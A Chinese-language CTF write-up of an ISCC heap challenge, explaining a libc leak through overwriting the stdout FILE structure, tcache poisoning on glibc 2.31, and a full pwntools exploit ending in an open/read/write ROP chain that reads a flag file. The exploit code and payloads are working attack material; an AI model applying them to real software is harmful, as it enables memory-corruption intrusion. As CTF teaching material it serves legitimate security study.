前言

是neise1最近做到iscc里的一道堆题,是经典的笔记管理题,有UAF,不过没有show,所以一时之间不知道怎么泄露libc地址,后面查到了这种泄露方式,就学习了一下,并写了这篇博客。

利用手法

在这里贴一下_IO_FILE结构体的大致结构

1
2
3
4
5
6
7
8
9
10
11
struct _IO_FILE {
int _flags; // 文件标志,简单的说:像puts一类的输入输出函数要想正确的打印信息就需要正确设置该字段
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
......
......
}

首先,我们需要能去改写stdout指针处存储的_IO_2_1_stdout_该IO_FILE结构体,然后修改其_flags为0xfbad1800(根据puts函数的源码所得),将后面三个read指针置空,将_IO_write_base处的第一个字节改为0x58,后面的_IO_write_ptr和_IO_write_end保持不变。之后当程序遇到puts函数时就会打印_IO_write_base到_IO_write_ptr之间的内容,按照上面步骤改动的话,我们泄露出的第一个libc地址是_IO_file_jumps,也就是一个libc地址。
这里贴几个常用的payload。

1
payload = p64(0xfbad1800)+p64(0)*3+b"\x58"
1
payload = p64(0xfbad3887)+p64(0)*3+p8(0) //这样写的话打印的就是_IO_2_1_stdin_

例题

这里就以这道iscc的题目作为例题讲解一下,是保护全开的一道题。

图片
图片
图片
图片
程序大致逻辑就是这样,所以现在我们就是想怎么把堆块分配到stdout的_IO_FILE结构体上了,我这里是先申请并释放7个0xf0的堆块占满tcache,再申请并释放几个0x50的小堆块控制一下堆块地址,保证我们要覆盖的next指针和我们接下来被释放进unsortdedbin的大堆块只有低1字节不同,这里的libc是2.31版本,并没有对tcache中的next指针进行加密,所以我们完全可以直接覆盖低1字节去打tcache poisoning,随后再对unsortedbin的fd的低2字节爆破,爆破被改为stdout,这样就能通过申请0x50的堆块申请到stdout指向的_IO_2_1_stdout_了,再利用它泄露libc地址,heap地址之类的,就能打通了。

不过这题因为seccomp_rule_add函数,会分配和释放很多堆块,导致堆块初始很乱,所以堆风水构建起来比较麻烦,需要费一点时间。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
libc = ELF('/usr/lib/freelibs/amd64/2.31-0ubuntu9.18_amd64/libc.so.6')
p = process('./note')
elf = ELF('./note')

def bug():
gdb.attach(p)
def add(idx,size,content):
p.sendlineafter('Choice:','1')
p.sendlineafter('Index:',str(idx))
p.sendafter('Size:',str(size))
p.sendafter('Content:',content)
def free(idx):
p.sendlineafter('Choice:','2')
p.sendlineafter('Index:',str(idx))
def edit(idx,content):
p.sendlineafter('Choice:','3')
p.sendlineafter('Index:',str(idx))
p.sendafter('Content:',content)

for i in range(16):
add(0,0xe0,b'aaaa')
for i in range(7):
add(i,0x50,b'aaaa')
for i in range(5):#0-4
free(i)
free(6)
free(5)
for i in range(5):#0-4
add(i,0xf0,b'aaaa')
add(6,0xf0,b'aaaa')
add(7,0xf0,b'aaaa')
add(8,0xf0,b'aaaa')
free(8)
free(7)
free(6)
free(4)
free(3)
free(2)
free(1)
free(0)
edit(5,b'\xb0')
edit(0,b'\xa0\x96')

add(0,0x50,b'aaaa')
add(1,0x50,b'aaaa')
payload = p64(0xFBAD1800)+p64(0)*3+p8(0)
add(2,0x50,payload)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-libc.sym['_IO_2_1_stdin_']
log.info('libc_base:'+hex(libc_base))
environ = libc_base + libc.sym['environ']
payload = p64(0xFBAD1800)+p64(0)*3+p64(environ)+p64(environ+8)
edit(2,payload)
stack_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
log.info('stack_addr:'+hex(stack_addr))
add(0,0xf0,b'aaaa')
free(0)
edit(0,p64(stack_addr-0x120))
add(0,0xf0,b'aaaa')
bug()
rdi = libc_base +0x23b6a
rsi = libc_base +0x02601f
rdx = libc_base +0x119431
open = libc_base + libc.sym["open"]
read = libc_base + libc.sym["read"]
write = libc_base + libc.sym["write"]
pay = p64(rdi)+p64(stack_addr-0x78)+p64(rsi)+p64(0)+p64(open)
pay+=p64(rdi)+p64(3)+p64(rsi)+p64(stack_addr)+p64(rdx)+p64(0x50)*2+p64(read)
pay+=p64(rdi)+p64(1)+p64(rsi)+p64(stack_addr)+p64(rdx)+p64(0x50)*2+p64(write)
pay+= b'./flag\x00\x00'

add(1,0xf0,pay)


p.interactive()